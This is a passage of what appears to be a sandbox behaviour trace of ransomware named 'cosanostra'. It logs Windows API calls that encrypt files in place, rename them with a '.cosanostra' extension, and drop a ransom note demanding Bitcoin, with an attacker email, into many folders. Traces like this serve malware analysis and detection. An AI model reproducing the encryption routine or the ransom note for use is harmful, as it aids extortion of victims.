lpBuffer=0x251f937*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251faf8, lpOverlapped=0x0 | out: lpBuffer=0x251f937*, lpNumberOfBytesWritten=0x251faf8*=0x1bf, lpOverlapped=0x0) returned 1 [0081.461] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.461] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251faf8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251faf8*=0x2ac, lpOverlapped=0x0) returned 1 [0081.461] CloseHandle (hObject=0x16c) returned 1 [0081.461] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa98 | out: pbBuffer=0x251fa98) returned 1 [0081.461] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251fa90*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251fa90*=0x30) returned 1 [0081.461] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\unknown.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0081.488] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log") returned 79 [0081.488] StrStrW (lpFirst="Unknown.Log", lpSrch=".txt") returned 0x0 [0081.488] ReadFile (in: hFile=0xbc, lpBuffer=0x287138, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa54, lpOverlapped=0x0 | out: lpBuffer=0x287138*, lpNumberOfBytesRead=0x251fa54*=0x1a6e, lpOverlapped=0x0) returned 1 [0081.620] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xffffe592, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.621] WriteFile (in: hFile=0xbc, lpBuffer=0x287138*, nNumberOfBytesToWrite=0x1a6e, lpNumberOfBytesWritten=0x251fa54, lpOverlapped=0x0 | out: lpBuffer=0x287138*, lpNumberOfBytesWritten=0x251fa54*=0x1a6e, lpOverlapped=0x0) returned 1 [0081.621] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.621] WriteFile (in: hFile=0xbc, lpBuffer=0x251fa94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa54, lpOverlapped=0x0 | out: lpBuffer=0x251fa94*, lpNumberOfBytesWritten=0x251fa54*=0x4, lpOverlapped=0x0) returned 1 [0081.621] WriteFile (in: hFile=0xbc, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa54, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251fa54*=0x30, lpOverlapped=0x0) returned 1 [0081.621] CloseHandle (hObject=0xbc) returned 1 [0081.622] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log.cosanostra") returned 90 [0081.622] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\unknown.log"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log.cosanostra" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\unknown.log.cosanostra")) returned 1 [0081.805] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa90 | out: pbBuffer=0x251fa90) returned 1 [0081.805] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251fa88*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251fa88*=0x30) returned 1 [0081.805] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0081.994] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned 72 [0081.994] StrStrW (lpFirst="tokens.dat", lpSrch=".txt") returned 0x0 [0081.995] ReadFile (in: hFile=0x16c, lpBuffer=0x22a9a0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa4c, lpOverlapped=0x0 | out: lpBuffer=0x22a9a0*, lpNumberOfBytesRead=0x251fa4c*=0x2800, lpOverlapped=0x0) returned 1 [0082.033] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.034] WriteFile (in: hFile=0x16c, lpBuffer=0x22a9a0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251fa4c, lpOverlapped=0x0 | out: lpBuffer=0x22a9a0*, lpNumberOfBytesWritten=0x251fa4c*=0x2800, lpOverlapped=0x0) returned 1 [0082.035] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.035] WriteFile (in: hFile=0x16c, lpBuffer=0x251fa8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa4c, lpOverlapped=0x0 | out: lpBuffer=0x251fa8c*, lpNumberOfBytesWritten=0x251fa4c*=0x4, lpOverlapped=0x0) returned 1 [0082.050] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa4c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251fa4c*=0x30, lpOverlapped=0x0) returned 1 [0082.050] CloseHandle (hObject=0x16c) returned 1 [0082.423] wnsprintfW (in: pszDest=0x2fc0048, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.cosanostra") returned 83 [0082.423] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.cosanostra" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat.cosanostra")) returned 1 [0082.473] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.474] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.474] WriteFile (in: hFile=0x16c, lpBuffer=0x251f92b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251faec, lpOverlapped=0x0 | out: lpBuffer=0x251f92b*, lpNumberOfBytesWritten=0x251faec*=0x1bf, lpOverlapped=0x0) returned 1 [0082.474] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.474] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251faec, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251faec*=0x2ac, lpOverlapped=0x0) returned 1 [0082.475] CloseHandle (hObject=0x16c) returned 1 [0082.475] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.475] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.475] WriteFile (in: hFile=0x16c, lpBuffer=0x251f927*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fae8, lpOverlapped=0x0 | out: lpBuffer=0x251f927*, lpNumberOfBytesWritten=0x251fae8*=0x1bf, lpOverlapped=0x0) returned 1 [0082.476] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.476] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fae8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fae8*=0x2ac, lpOverlapped=0x0) returned 1 [0082.476] CloseHandle (hObject=0x16c) returned 1 [0082.476] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.477] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.477] WriteFile (in: hFile=0x16c, lpBuffer=0x251f923*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fae4, lpOverlapped=0x0 | out: lpBuffer=0x251f923*, lpNumberOfBytesWritten=0x251fae4*=0x1bf, lpOverlapped=0x0) returned 1 [0082.477] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.477] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fae4, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fae4*=0x2ac, lpOverlapped=0x0) returned 1 [0082.478] CloseHandle (hObject=0x16c) returned 1 [0082.478] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.489] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.489] WriteFile (in: hFile=0x16c, lpBuffer=0x251f91f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fae0, lpOverlapped=0x0 | out: lpBuffer=0x251f91f*, lpNumberOfBytesWritten=0x251fae0*=0x1bf, lpOverlapped=0x0) returned 1 [0082.490] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.490] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fae0, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fae0*=0x2ac, lpOverlapped=0x0) returned 1 [0082.490] CloseHandle (hObject=0x16c) returned 1 [0082.490] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\data\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.491] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.491] WriteFile (in: hFile=0x16c, lpBuffer=0x251f91b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fadc, lpOverlapped=0x0 | out: lpBuffer=0x251f91b*, lpNumberOfBytesWritten=0x251fadc*=0x1bf, lpOverlapped=0x0) returned 1 [0082.491] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.491] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fadc, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fadc*=0x2ac, lpOverlapped=0x0) returned 1 [0082.492] CloseHandle (hObject=0x16c) returned 1 [0082.492] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.492] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.492] WriteFile (in: hFile=0x16c, lpBuffer=0x251f917*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fad8, lpOverlapped=0x0 | out: lpBuffer=0x251f917*, lpNumberOfBytesWritten=0x251fad8*=0x1bf, lpOverlapped=0x0) returned 1 [0082.493] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.493] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fad8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fad8*=0x2ac, lpOverlapped=0x0) returned 1 [0082.493] CloseHandle (hObject=0x16c) returned 1 [0082.494] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.495] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.495] WriteFile (in: hFile=0x16c, lpBuffer=0x251f913*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fad4, lpOverlapped=0x0 | out: lpBuffer=0x251f913*, lpNumberOfBytesWritten=0x251fad4*=0x1bf, lpOverlapped=0x0) returned 1 [0082.496] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.496] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fad4, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fad4*=0x2ac, lpOverlapped=0x0) returned 1 [0082.496] CloseHandle (hObject=0x16c) returned 1 [0082.496] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\#recovery_files#.txt"), 